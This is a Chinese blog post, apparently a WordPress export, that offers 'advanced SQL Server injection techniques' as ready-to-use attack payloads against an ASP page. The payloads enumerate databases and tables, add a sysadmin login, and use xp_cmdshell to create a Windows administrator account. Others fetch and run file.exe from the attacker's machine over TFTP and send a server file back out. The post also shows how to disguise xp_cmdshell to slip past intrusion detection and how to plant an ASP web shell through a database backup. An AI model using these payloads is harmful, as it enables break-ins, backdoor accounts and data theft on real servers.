\u73b0\u5728\u5c06\u8001\u5175\u672c\u4eba\u591a\u5e74\u7684SQLSERVER\u6ce8\u5165\u9ad8\u7ea7\u6280\u5de7\u5949\u732e\u7ed9\u652f\u6301\u8001\u5175\u7684\u670b\u53cb\uff1a<\/p>\n
\u524d\u8a00\uff1a
\u5373\u662f\u9ad8\u7ea7\u6280\u5de7\uff0c\u5176\u5b83\u57fa\u672c\u7684\u6ce8\u5165\u65b9\u6cd5\u5c31\u4e0d\u8be6\u8ff0\u4e86\u3002
\u770b\u4e0d\u61c2\u53ef\u67e5\u672c\u7ad9\u7684\u6ce8\u5165\u57fa\u7840\u6587\u7ae0\u3002
\u4e3a\u4e86\u66f4\u597d\u7684\u7528\u597d\u6ce8\u5165\uff0c\u5efa\u8bae\u5927\u5bb6\u770b\u770b\u672c\u7ad9\u7684SQL\u8bed\u6cd5\u76f8\u5173\u6587\u7ae0<\/p>\n
[\u83b7\u53d6\u5168\u90e8\u6570\u636e\u5e93\u540d]
select name from master.dbo.sysdatabases where dbid=7 \/\/dbid\u7684\u503c\u4e3a7\u4ee5\u4e0a\u90fd\u662f\u7528\u6237\u6570\u636e\u5e93<\/p>\n
[\u83b7\u5f97\u6570\u636e\u8868\u540d][\u5c06\u5b57\u6bb5\u503c\u66f4\u65b0\u4e3a\u8868\u540d\uff0c\u518d\u60f3\u6cd5\u8bfb\u51fa\u8fd9\u4e2a\u5b57\u6bb5\u7684\u503c\u5c31\u53ef\u5f97\u5230\u8868\u540d]
select top 1 name from \u6570\u636e\u5e93\u540d.dbo.sysobjects where xtype='u' and status>0 and name not in('table') <\/p>\n
[\u83b7\u5f97\u6570\u636e\u8868\u5b57\u6bb5\u540d][\u5c06\u5b57\u6bb5\u503c\u66f4\u65b0\u4e3a\u5b57\u6bb5\u540d\uff0c\u518d\u60f3\u6cd5\u8bfb\u51fa\u8fd9\u4e2a\u5b57\u6bb5\u7684\u503c\u5c31\u53ef\u5f97\u5230\u5b57\u6bb5\u540d]
select top 1 \u6570\u636e\u5e93\u540d.dbo.col_name(object_id('\u8981\u67e5\u8be2\u7684\u6570\u636e\u8868\u540d'),\u5b57\u6bb5\u5217\u5982:1) [ where \u6761\u4ef6]<\/p>\n
\u901a\u8fc7SQLSERVER\u6ce8\u5165\u6f0f\u6d1e\u5efa\u6570\u636e\u5e93\u7ba1\u7406\u5458\u5e10\u53f7\u548c\u7cfb\u7edf\u7ba1\u7406\u5458\u5e10\u53f7[\u5f53\u524d\u5e10\u53f7\u5fc5\u987b\u662fSYSADMIN\u7ec4]<\/p>\n
news.asp?id=2;exec master.dbo.sp_addlogin test,test;– \/\/\u6dfb\u52a0\u6570\u636e\u5e93\u7528\u6237\u7528\u6237test,\u5bc6\u7801\u4e3atest
news.asp?id=2;exec master.dbo.sp_password test,123456,test;– \/\/\u5982\u679c\u60f3\u6539\u5bc6\u7801\uff0c\u5219\u7528\u8fd9\u53e5\uff08\u5c06test\u7684\u5bc6\u7801\u6539\u4e3a123456\uff09
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;– \/\/\u5c06test\u52a0\u5230sysadmin\u7ec4,\u8fd9\u4e2a\u7ec4\u7684\u6210\u5458\u53ef\u6267\u884c\u4efb\u4f55\u64cd\u4f5c
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test \/add';– \/\/\u6dfb\u52a0\u7cfb\u7edf\u7528\u6237test,\u5bc6\u7801\u4e3atest
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test \/add';– \/\/\u5c06\u7cfb\u7edf\u7528\u6237test\u63d0\u5347\u4e3a\u7ba1\u7406\u5458<\/p>\n
\u8fd9\u6837\uff0c\u4f60\u5728\u4ed6\u7684\u6570\u636e\u5e93\u548c\u7cfb\u7edf\u5185\u90fd\u7559\u4e0b\u4e86test\u7ba1\u7406\u5458\u8d26\u53f7\u4e86<\/p>\n
\u4e0b\u9762\u662f\u5982\u4f55\u4ece\u4f60\u7684\u670d\u5668\u4e0b\u8f7d\u6587\u4ef6file.exe\u540e\u8fd0\u884c\u5b83[\u524d\u63d0\u662f\u4f60\u5fc5\u987b\u5c06\u4f60\u7684\u7535\u8111\u8bbe\u4e3aTFTP\u670d\u52a1\u5668\uff0c\u5c0669\u7aef\u53e3\u6253\u5f00]<\/p>\n
id=2; exec master.dbo.xp_cmdshell 'tftp \u2013i \u4f60\u7684IP get file.exe';–<\/p>\n
\u7136\u540e\u8fd0\u884c\u8fd9\u4e2a\u6587\u4ef6\uff1a
id=2; exec master.dbo.xp_cmdshell 'file.exe';–<\/p>\n
\u4e0b\u8f7d\u670d\u52a1\u5668\u7684\u6587\u4ef6file2.doc\u5230\u672c\u5730TFTP\u670d\u52a1\u5668[\u6587\u4ef6\u5fc5\u987b\u5b58\u5728]:<\/p>\n
id=2; exec master.dbo.xp_cmdshell 'tftp \u2013i \u4f60\u7684IP Put file2.doc';–<\/p>\n
\u7ed5\u8fc7IDS\u7684\u68c0\u6d4b[\u4f7f\u7528\u53d8\u91cf]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\\' <\/p>\n
\u65b0\u52a0\u7684\uff1a<\/p>\n
\u5efa\u4e00\u4e2a\u8868\u3002\u53ea\u6709\u4e00\u4e2a\u5b57\u6bb5\uff0c\u7c7b\u578b\u4e3aimage,\u5c06asp\u5185\u5bb9\u5199\u5165\u3002\u5bfc\u51fa\u6570\u636e\u5e93\u4e3a\u6587\u4ef6
backup database dbname to disk='d:\\web\\db.asp'; <\/p>\n
\u62a5\u9519\u5f97\u5230\u7cfb\u7edf\u64cd\u4f5c\u7cfb\u7edf\u548c\u6570\u636e\u5e93\u7cfb\u7edf\u7248\u672c\u53f7
id=2 and 1<>(select @@VERSION);<\/p>\n","protected":false},"excerpt":{"rendered":"
\u73b0\u5728\u5c06\u8001\u5175\u672c\u4eba\u591a\u5e74\u7684SQLSERVER\u6ce8\u5165\u9ad8\u7ea7\u6280\u5de7\u5949\u732e\u7ed9\u652f\u6301\u8001\u5175\u7684\u670b\u53cb\uff1a \u524d\u8a00\uff1a … \u7ee7\u7eed\u9605\u8bfb